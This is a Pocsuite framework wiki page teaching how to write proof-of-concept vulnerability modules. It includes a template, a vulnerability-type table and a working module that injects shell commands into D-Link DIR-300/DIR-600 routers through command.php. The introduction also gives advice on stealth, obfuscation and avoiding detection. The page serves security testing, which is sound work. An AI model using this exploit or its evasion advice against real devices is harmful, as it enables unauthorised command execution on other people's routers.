Skip to content

How to get started with writing a POC module

Vex Woo edited this page Jul 14, 2016 · 3 revisions

The real kung-fu behind POC module development isn't actually about which language you choose to build it, it's about your precise understanding of how an input is processed by the application you're debugging, and how to gain control by manipulating it. That's right, the keyword is "debugging."

Take a good exploit idea

When you write a POC module, you need to think about how users might use it in the real world. Stealth is usually an important element to think about. Can your exploit achieve code execution without dropping a file? Can the input look more random so it's more difficult to detect? How about obfuscation? Is it generating unnecessary traffic? Can it be more stable without crashing the system so much, etc, etc.

Also, try to be precise about exploitable requirements. Usually, a bug is specific to a range of versions, or even builds. If you can't automatically check that, you need to at least mention it in the description somewhere. Some of your exploit's techniques might also be application-specific. For example, you can take advantage of a specific behavior in the application to generate heap allocations the way you want, but maybe it's more noisy in the newer version so that gives you some stability issues. Does it need a 3rd-party component to work that may not even be installed by everyone? Even if it is, is the component revised often that could make your exploit less reliable?

Know that in the real world, your exploit can break or fail in a lot of different ways. You should try to find out and fix it during the development and testing phase before learning the hard way.

POC Template

#!/usr/bin/python
# -*- coding: utf-8 -*-


# If you have issues about development, please read:
# https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md
# https://github.com/knownsec/Pocsuite/blob/master/docs/COPYING

from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    name = ''
    vulID = '12345'  # https://www.seebug.org/vuldb/ssvid-12345
    author = ['HELLOWORLD']
    vulType = ''
    version = '1.0'    # default version: 1.0
    references = ['https://seebug.org/']
    desc = '''......'''

    vulDate = 'XXXX-XX-XX'
    createDate = 'XXXX-XX-XX'
    updateDate = 'XXXX-XX-XX'

    appName = ''
    appVersion = ''
    appPowerLink = ''
    samples = ['']

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        
        ...

        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

When you want to create a new POC module, POCBase is a must base class. If the core code runs ok, it must be registered by Pocsuite with register().

from pocsuite.poc import POCBase
from pocsuite.utils import register

class TestPOC(POCBase):
    pass

register(TestPOC)

A POC has double run-mode, verify mode and attack mode.

from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    
    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        pass  # do what you want to do
        return self.parse_output(result)

    def parse_output(self, result):  # exploit successfully or not ?
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)
  • verify mode, used to check if a vuln/bug exists or not, and doesn't send exploit payload (ex: execute a command, gain a new shell).

  • attack mode, used to exploit the target in your way.

  • The name field begin with the name of the vendor, followed by the software.Ideally the "Root Cause" field means which component or function the bug is found. And finally, the type of vulnerability the module is exploiting.

  • The vulID field is a valid seebug VulnID, ex: the bug url is https://www.seebug.org/vuldb/ssvid-12345, and the vulID is 12345.

  • The author field is where you put your name. The format should be "Name ". If you want to have your Twitter handle there, leave it as a comment, for example: "Name # handle", ex: ["seebug <[email protected]>", "zoomeye <[email protected]>"].

  • The references field is where you put your reference urls. ex: ['https://www.seebug.org', 'https://www.zoomeye.org'].

  • The desc field is used to show vulnerability details.

  • The appName shows a vulnerable software name.

  • The appVersion shows a vulnerable software version.

  • The appPowerLink field provides a vulnerable-app download url, ex: "https://demo.com/app/vuln-2.3.1.exe".

  • The vulType field shows a seebug vulnerability type. If you don't known how to fill it, please read the following table.

英文名称 中文名称 缩写
Cross Site Scripting 跨站脚本 xss
Cross Site Request Forgery 跨站请求伪造 csrf
SQL Injection Sql注入 sql-inj
LDAP Injection ldap注入 ldap-inj
Mail Command Injection 邮件命令注入 smtp-inj
Null Byte Injection 空字节注入 null-byte-inj
CRLF Injection CRLF注入 crlf-inj
SSI Injection Ssi注入 ssi-inj
XPath Injection Xpath注入 xpath-inj
XML Injection Xml注入 xml-inj
XQuery Injection Xquery 注入 xquery-inj
Command Execution 命令执行 cmd-exec
Code Execution 代码执行 code-exec
Remote File Inclusion 远程文件包含 rfi
Local File Inclusion 本地文件包含 lfi
Abuse of Functionality 功能函数滥用 func-abuse
Brute Force 暴力破解 brute-force
Buffer Overflow 缓冲区溢出 buffer-overflow
Content Spoofing 内容欺骗 spoofing
Credential Prediction 证书预测 credential-prediction
Session Prediction 会话预测 session-prediction
Denial of Service 拒绝服务 dos
Fingerprinting 指纹识别 finger
Format String 格式化字符串 format-string
HTTP Response Smuggling http响应伪造 http-response-smuggling
HTTP Response Splitting http响应拆分 http-response-splitting
HTTP Request Splitting http请求拆分 http-request-splitting
HTTP Request Smuggling http请求伪造 http-request-smuggling
HTTP Parameter Pollution http参数污染 hpp
Integer Overflows 整数溢出 int-overflow
Predictable Resource Location 可预测资源定位 res-location
Session Fixation 会话固定 session-fixation
URL Redirector Abuse url重定向 redirect
Privilege Escalation 权限提升 privilege-escalation
Resolve Error 解析错误 resolve-error
Arbitrary File Creation 任意文件创建 file-creation
Arbitrary File Download 任意文件下载 file-download
Arbitrary File Deletion 任意文件删除 file-deletion
Backup File Found 备份文件发现 bak-file-found
Database Found 数据库发现 db-found
Directory Listing 目录遍历 dir-listing
Directory Traversal 目录穿越 dir-traversal
File Upload 文件上传 file-upload
Login Bypass 登录绕过 login-bypass
Weak Password 弱密码 weak-pass
Remote Password Change 远程密码修改 remote-pass-change
Code Disclosure 代码泄漏 code-disclosure
Path Disclosure 路径泄漏 path-disclosure
Information Disclosure 信息泄漏 info-disclosure
Security Mode Bypass 安全模式绕过 sec-bypass
Malware 挂马 mal
Black Link 暗链 black-link
Backdoor 后门 backdoor

There is a POC module

Good, man ! You can write a POC module now.

#!/usr/bin/python
# -*- coding: utf-8 -*-


# If you have issues about development, please read:
# https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md
# https://github.com/knownsec/Pocsuite/blob/master/docs/COPYING

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


def send_command(url, cmd):
    try:
        httpreq = req.Session()
        headers = {'Content-Type': 'application/x-www-form-urlencoded',
                   'User-Agent': 'GoogleSpider'}
        resp = httpreq.post(url, headers=headers, data='cmd=%s' % cmd)
    except:
        resp = None
    return resp


class TestPOC(POCBase):
    name = 'Multiple Vulnerabilities in D-Link DIR-600 and DIR-300'
    vulID = '78176'  # https://www.seebug.org/vuldb/ssvid-78176
    author = ['debug']
    vulType = 'cmd-exec'
    version = '1.0'    # default version: 1.0
    references = ['http://www.s3cur1ty.de/m1adv2013-003']
    desc = '''The vulnerability is caused by missing access
           restrictions and missing input validation in the cmd
           parameter (command.php) and can be exploited to inject
           and execute arbitrary shell commands.'''

    vulDate = '2013-02-14'
    createDate = '2013-02-14'
    updateDate = '2013-02-14'

    appName = 'D-Link'
    appVersion = 'DIR-300, DIR-600'
    appPowerLink = ''
    samples = ['']

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        self.url = self.url + '/command.php'

        resp = send_command(self.url, 'date +%Y%m%d')
        if resp and resp.text and resp.status_code == 200:
            date = resp.text.strip()
            if len(date) == 8 and date.isdigit():
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

Pocsuite Wiki Pages

  • Home Welcome to Pocsuite!
Clone this wiki locally